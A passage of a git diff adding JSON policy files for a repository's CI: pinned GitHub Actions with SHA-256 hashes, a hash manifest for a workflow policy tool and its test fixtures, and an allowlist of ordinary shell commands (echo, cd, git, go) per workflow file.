"actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c", + "nodeSHA256": "aa9316c4435762c174705f048c55330ce8714ae4b9e14cd2bd58fb95af641c79", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Pinned actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c for reviewed release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "uses": "actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c", + "nodeSHA256": "dd0c1fa6bc5a336956e083dfd5e0957c008b85168dfa74feb66a1edfa891cb42", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Pinned actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c for reviewed release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "uses": "actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c", + "nodeSHA256": "c0d85fe8f94bd2187fb4d2a57310b75cf4561a018bc15a11b5fbea0baa13f07a", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Pinned actions/setup-go for the reviewed Go 1.26.5 release toolchain." + }, + { + "path": ".github/workflows/release.yml", + "uses": "actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e", + "nodeSHA256": "0ec922d1fec5835b930f0ad642fc4f4db8396ce77cf54c7e85beb24bc4f1aa04", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Pinned actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e for reviewed release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "uses": "actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e", + "nodeSHA256": "d6511486d7f0d7044978b8c71828add2508e72a9897718b7a91fdf151ffb3c49", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Pinned actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e for reviewed release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "uses": "actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", + "nodeSHA256": "9fde90f1c6c8b6b7d2624941c7e11371cf48406a0bd965c2caf2bfa279de35f2", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Pinned actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a for reviewed release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "uses": "actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", + "nodeSHA256": "f2313c6c3686eb64bc93135f734a625f7de0f413626bfaea35b574f78dac317f", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Pinned actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a for reviewed release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "uses": "ko-build/setup-ko@d006021bd0c28d1ce33a07e7943d48b079944c8d", + "nodeSHA256": "901d681634d0e4e7b011708926aa6e0fea756b20e1138ca280c3689a16d6ebde", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Pinned ko-build/setup-ko@d006021bd0c28d1ce33a07e7943d48b079944c8d for reviewed release.yml automation." + } +] diff --git a/.github/public-workflow-authority.json b/.github/public-workflow-authority.json new file mode 100644 index 000000000..db969706d --- /dev/null +++ b/.github/public-workflow-authority.json @@ -0,0 +1,150 @@ +{ + "version": 1, + "bundles": [ + { + "state": "active", + "files": [ + { + "path": ".github/workflows/policytool/go.mod", + "sha256": "0a2d135980310757f36e733161b94498b4e0a1b6ac8c6de8a799f542d6c9ddb8" + }, + { + "path": ".github/workflows/policytool/go.sum", + "sha256": "790ef858e5aeed12269a69e764ac69c02c3877678b0e7d9384ad3728b6e09f6c" + }, + { + "path": ".github/workflows/policytool/main.go", + "sha256": "8dba6ad341fa07644868fd43717aff162c4feae1694ee9a122ef4cd401214a00" + }, + { + "path": ".github/workflows/policytool/main_test.go", + "sha256": "a88f4ec70a2736e54bf887594da855fb6d25d2cecb35321cd5fa8a2455304212" + }, + { + "path": ".github/workflows/scripts/verify-public-workflow-branch-protection.sh", + "sha256": "0d48038f7e641f0a58ae2a0f9150d40f284619c2254951fb31066fbb121df304" + }, + { + "path": "scripts/check-public-workflow-policy.sh", + "sha256": "166d4c7f272b6e249abd5bd2efadb8034105cf62df3cff2200978c6e9fb6998c" + }, + { + "path": "scripts/fixtures/public-workflow-policy/lifecycle-future.yml", + "sha256": "de3bdf01a31d2a0d39a279a65258d47f0f504155065de720a1908a1b7a703103" + }, + { + "path": "scripts/fixtures/public-workflow-policy/lifecycle-old.yml", + "sha256": "6dc23984617b91711ff14a08e8d428d9dc47dc3c00f4efd703bf747fe7e6a122" + }, + { + "path": "scripts/fixtures/public-workflow-policy/pass-expression-and-deny-guard.yml", + "sha256": "6af7ce9692c0e3c3f4468927912db334bab659b36567703e27cd9d2c0957d908" + }, + { + "path": "scripts/fixtures/public-workflow-policy/pass-negative-guard.yml", + "sha256": "7af97a7da7d416064190ba39e6829148071714d39840dc7f354cab78fadc3665" + }, + { + "path": "scripts/fixtures/public-workflow-policy/pass.yml", + "sha256": "38ece391dcb2d2b84ba44121cd6bdcc2953a3822ab0e464224e0bb60199400e5" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-builtin-wrapper.yml", + "sha256": "56fcfd4f7752e6b462471a78b329bbf6e8d978fa047c4bdbf9d09b25cc350be0" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-command-analysis.yml", + "sha256": "589658280ae8623d932e691323b138c439a28fe27a79ea2859be7c00600b6820" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-deny-pattern-execution.yml", + "sha256": "c8475ed82b6fb7ac4ec227f48becc4a148d7d3665a5fdfdbac19096cca7c2165" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-dynamic-secrets.yml", + "sha256": "7900842a6adf772396eb4893925d26b71e1a4560053305031d7c4e15b3e2f5f8" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-env-indirection.yml", + "sha256": "6b524ac4c498f45d68896676f75c8171033558a9a270f5158870ae36604218d7" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-execution-context.yml", + "sha256": "50629e545d7fba12247f28a06e9632b52c3c8d63c01a2551fb8d9d7ac2a6e0b6" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-global.yml", + "sha256": "43620c1094cf6a8223f4b35c18bf54a621e09b5f5922b835bd7e22a48f1f205d" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-guard-suffix.yml", + "sha256": "4b5623b44d1dcef0198ce914a16a358180f65d733d5521863b4606178ea20823" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-implicit-permissions.yml", + "sha256": "5606653732f73c8c9af42c28a72f5d2a43336fd0edbb25524832e98713e798a8" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-legacy-github-token.yml", + "sha256": "595e24dcd363104586f7c973225cf6ba79606dfc1b9124ef383c668932e9fb5a" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-missing-shell.yml", + "sha256": "58757a1e09107185710dd3a2c401d6a3691d1c11f4db7f41b8a4f8dde57d0574" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-permissions.yml", + "sha256": "24ac3b5c02f97b7b3ec2e06f2d7c7c46035a17dda029ed8918c3e54d8e6933c4" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-provider-uses.yml", + "sha256": "3f6a028a527a04b1bcddd087174b56b85916fc347da23cb86b76948b2a006f45" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-runners.yml", + "sha256": "cbfec39b289dfcbee247f6fa5a415c01921ab02e03c63bd974df1322a6159050" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-script-execution.yml", + "sha256": "6e57329ba154ee32a37c2c8227f75db5422d9fdf3487180f4f8d388891c04f62" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-secret-syntax.yml", + "sha256": "3ef3fc0c94a53510069d63e58e7a7eef51de884d7446fe20476d60c4fa078648" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-shell-inheritance.yml", + "sha256": "330bc5a511a1c14d6adadd7e7f19a1baacdf47b513a2382e7cfa060babc460e0" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-shell.yml", + "sha256": "6dffd2756cf468c9bf4c268bfebfd1c4bfb96e81e30137a7dafbd0d39161df00" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-statement-authority.yml", + "sha256": "2ae4ecdde184f102004b81cca0de0e345278c7ebc2aa0993f5a8ef47acf50e91" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-unreviewed-uses.yml", + "sha256": "4e1a4f1d5c7b147af24dac04448617a77649e711366ab19701d6e878a1c0a274" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-unsafe-programs.yml", + "sha256": "5c464126d992dc5305ca68c6ebb0f7086650d0e86dc56aee35ee0de40e6b1f96" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-yaml-structure.yml", + "sha256": "e564fe3b6655a68c242038c98f480fe432ed840aa3325caab88e052343352402" + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject.yml", + "sha256": "e98e5b29312f6541e6d71fc532943a055c9164923cd560710d47414ac80aecc1" + }, + { + "path": "scripts/test-check-public-workflow-policy.sh", + "sha256": "7d209bb35ff3a7a46b22f9a10a920eb30218c3403726d1dac72e0bffd1d914a4" + } + ] + } + ] +} diff --git a/.github/public-workflow-command-allowlist.json b/.github/public-workflow-command-allowlist.json new file mode 100644 index 000000000..fcc4397fa --- /dev/null +++ b/.github/public-workflow-command-allowlist.json @@ -0,0 +1,1962 @@ +[ + { + "path": ".github/workflows/benchmark.yml", + "command": "$assignment", + "statementSHA256": "c0c433693a307a0c5c423fa126f7690084d93243b539c72221d5148dcaa24f09", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed literal assignment for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "$assignment", + "statementSHA256": "d9a0185bb46ae5c1ec79645d990431495cf18d3f75cf24ab9d9e15790d1be188", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed literal assignment for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "[", + "statementSHA256": "21430cc4ac1193bbb95ec1575f04ae6b65d6ada2b4bca8c4195d288c9bc449bf", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed [ statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "[", + "statementSHA256": "d9a0185bb46ae5c1ec79645d990431495cf18d3f75cf24ab9d9e15790d1be188", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed [ statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "awk", + "statementSHA256": "d9a0185bb46ae5c1ec79645d990431495cf18d3f75cf24ab9d9e15790d1be188", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed awk statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "benchstat", + "statementSHA256": "961fec081cdb44d1e3ef10393cce0840c1f3ec48cc068f492701cf03de6ffed7", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed benchstat statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "break", + "statementSHA256": "d9a0185bb46ae5c1ec79645d990431495cf18d3f75cf24ab9d9e15790d1be188", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed break statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "cd", + "statementSHA256": "1da8bf23d2c0684c704bbca52edd911233fb4bb267f1118d5b94915af4ce2757", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed cd statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "cp", + "statementSHA256": "ecf28d9064234b3ad9daccf68db49f1f91c65c21c2ac8f1dae3c06b65132d9d8", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed cp statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "echo", + "statementSHA256": "175ed3056dc0639f05e3a0de9d2616f294cfadefd6089f69cbac1dffbd6490dd", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed echo statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "echo", + "statementSHA256": "21430cc4ac1193bbb95ec1575f04ae6b65d6ada2b4bca8c4195d288c9bc449bf", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed echo statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "echo", + "statementSHA256": "6ea234c2788bcc4ba388da39084e63ae28c829e83006b91554859019723f2c07", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed echo statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "echo", + "statementSHA256": "7041a39bf0738820394b5fc1f03e6d760956bb63942be0a85157550c6987511c", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed echo statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "echo", + "statementSHA256": "d9a0185bb46ae5c1ec79645d990431495cf18d3f75cf24ab9d9e15790d1be188", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed echo statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "echo", + "statementSHA256": "eedcefe944dfb5c1a4d393497272271bfa8ea66bfb96435c7881d477a4df550d", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed echo statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "exit", + "statementSHA256": "1a21be8bb1dc4721d30cc1850ead617faa55ae9aebf416da4369668bdeaf0824", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed exit statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "go", + "statementSHA256": "3c1b589932f67a655ff6bfb1741a31b1c9ab4668b3e6b408e4fcf96472c20edb", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed go statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "go", + "statementSHA256": "cfd6b00644f2b1a427bf34c2864d1ea1607bc8df4873876e092c2a015f2700bb", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed go statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "grep", + "statementSHA256": "d9a0185bb46ae5c1ec79645d990431495cf18d3f75cf24ab9d9e15790d1be188", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed grep statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "npm", + "statementSHA256": "1da8bf23d2c0684c704bbca52edd911233fb4bb267f1118d5b94915af4ce2757", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed npm statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "read", + "statementSHA256": "d9a0185bb46ae5c1ec79645d990431495cf18d3f75cf24ab9d9e15790d1be188", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed read statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "tail", + "statementSHA256": "d9a0185bb46ae5c1ec79645d990431495cf18d3f75cf24ab9d9e15790d1be188", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed tail statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "tee", + "statementSHA256": "cfd6b00644f2b1a427bf34c2864d1ea1607bc8df4873876e092c2a015f2700bb", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed tee statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "command": "true", + "statementSHA256": "961fec081cdb44d1e3ef10393cce0840c1f3ec48cc068f492701cf03de6ffed7", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Exact reviewed true statement for benchmark.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "$assignment", + "statementSHA256": "07316a6dee4fa421f202dd55c47def6146f4bfdac654bb879860cdfc1a35a9ea", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed literal assignment for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "$assignment", + "statementSHA256": "13529b0e68cc47db2882ea87e9109fb4e8b3c4b0903976bc2ce5379913c7e19c", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed literal assignment for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "$assignment", + "statementSHA256": "382ca07cb95080b3c93d28d1d5ed08c7a243e6a172dcde7914225ab80f170452", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed literal assignment for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "$assignment", + "statementSHA256": "3f2364983a794efb2e46b4801974c38b4bf6d5e1fc055ce31fc887a31fa3820c", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed literal assignment for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "$assignment", + "statementSHA256": "9f65eed4afa41afc2b6d4191e175afd313960d00b44b8d8897b439c6d5a549c0", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed literal assignment for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "$assignment", + "statementSHA256": "b835b6257f216b7ba333e6d8c28c505a75ef0172355e86bdf3daa1d04b3cf4e2", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed literal assignment for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "$assignment", + "statementSHA256": "d02333163acb2a002b2f00961a5ffa46ef990eaacaaf930132129e4900e5ba37", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed literal assignment for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "[", + "statementSHA256": "4bcc3d47a83eb623df4342a174e0963068244db476cec554840c24c167c6f95e", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed [ statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "[", + "statementSHA256": "6589a21c9aef0df2b0e7d38f3ef984fc919f170a90372943220d5f59eb4707fe", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed [ statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "[", + "statementSHA256": "b835b6257f216b7ba333e6d8c28c505a75ef0172355e86bdf3daa1d04b3cf4e2", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed [ statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "audit-cloud-symbols.sh", + "statementSHA256": "32084b0bd50db35412979127f9b6e37eb3581e64c1ee7e8249458badaa35742b", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Run the exact hash-bound core cloud-SDK boundary audit." + }, + { + "path": ".github/workflows/ci.yml", + "command": "cd", + "statementSHA256": "17e52953ed4faf4c86413738740a5673c00021f03375fcda35f2cd1a400749ff", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed cd statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "cd", + "statementSHA256": "1da8bf23d2c0684c704bbca52edd911233fb4bb267f1118d5b94915af4ce2757", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed cd statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "cd", + "statementSHA256": "81f8a8bb0252e7c0ab24019ede6124b516d8eb9a2e00f43927fb3065631949ae", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed cd statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "cd", + "statementSHA256": "92f0ca32bddd727ae2912374c0aec5686041a0966972274686cf8a013a89b1a3", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed cd statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "cd", + "statementSHA256": "d97a7e99821a0fdb80c5ddc4ebb5ac872572ff770b86cff9eedfeb85a67f4feb", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed cd statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "check-public-workflow-policy.sh", + "statementSHA256": "2000f63928c4818a9653d149623438efcababa010d3b4b6f776e4b5cdec768b1", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Run the exact hash-bound public workflow policy check." + }, + { + "path": ".github/workflows/ci.yml", + "command": "echo", + "statementSHA256": "13529b0e68cc47db2882ea87e9109fb4e8b3c4b0903976bc2ce5379913c7e19c", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed echo statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "echo", + "statementSHA256": "4bcc3d47a83eb623df4342a174e0963068244db476cec554840c24c167c6f95e", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed echo statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "echo", + "statementSHA256": "6589a21c9aef0df2b0e7d38f3ef984fc919f170a90372943220d5f59eb4707fe", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed echo statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "echo", + "statementSHA256": "b835b6257f216b7ba333e6d8c28c505a75ef0172355e86bdf3daa1d04b3cf4e2", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed echo statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "echo", + "statementSHA256": "c2f927ee34e00d06f3daa9cf4baf6048e53f0319e52a13df6c8e6cbb44a7bd84", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed echo statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "echo", + "statementSHA256": "d9226bd7f30f8e40be5a58694ca48084e36e69db4535df313c35c288e88b0da6", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed echo statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "exit", + "statementSHA256": "4bcc3d47a83eb623df4342a174e0963068244db476cec554840c24c167c6f95e", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed exit statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "exit", + "statementSHA256": "6589a21c9aef0df2b0e7d38f3ef984fc919f170a90372943220d5f59eb4707fe", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed exit statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "find", + "statementSHA256": "b835b6257f216b7ba333e6d8c28c505a75ef0172355e86bdf3daa1d04b3cf4e2", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed find statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "git", + "statementSHA256": "5b49e49b41e5006e0aaf449e50811687a97834b64c2a4273d8b2dc6f5b6e89c4", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed git statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "git", + "statementSHA256": "7b87c971c975fcaeb3a40a34f47ff8c3f2d698282a0b5d7400831b0dc13fd456", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed git statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "git", + "statementSHA256": "9acb5173a63ca7ad834e42ba202de48f945806765c110e4cb90e366980229a88", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed git statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "git", + "statementSHA256": "a5dc2ca2789cc2eb9e4ca1ca36a970deb7fc37fda61954d7bf1f41c7055327e1", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed git statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "git", + "statementSHA256": "d74f87aa2ba416c536083533d6f836d3a2991c94bdbf777f65bbf9583a7d6eae", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed git statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "go", + "statementSHA256": "07316a6dee4fa421f202dd55c47def6146f4bfdac654bb879860cdfc1a35a9ea", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed go statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "go", + "statementSHA256": "151a1642363d89e5acbb5e513a50290c47fbc96d24523440353dd16e73386645", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed go statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "go", + "statementSHA256": 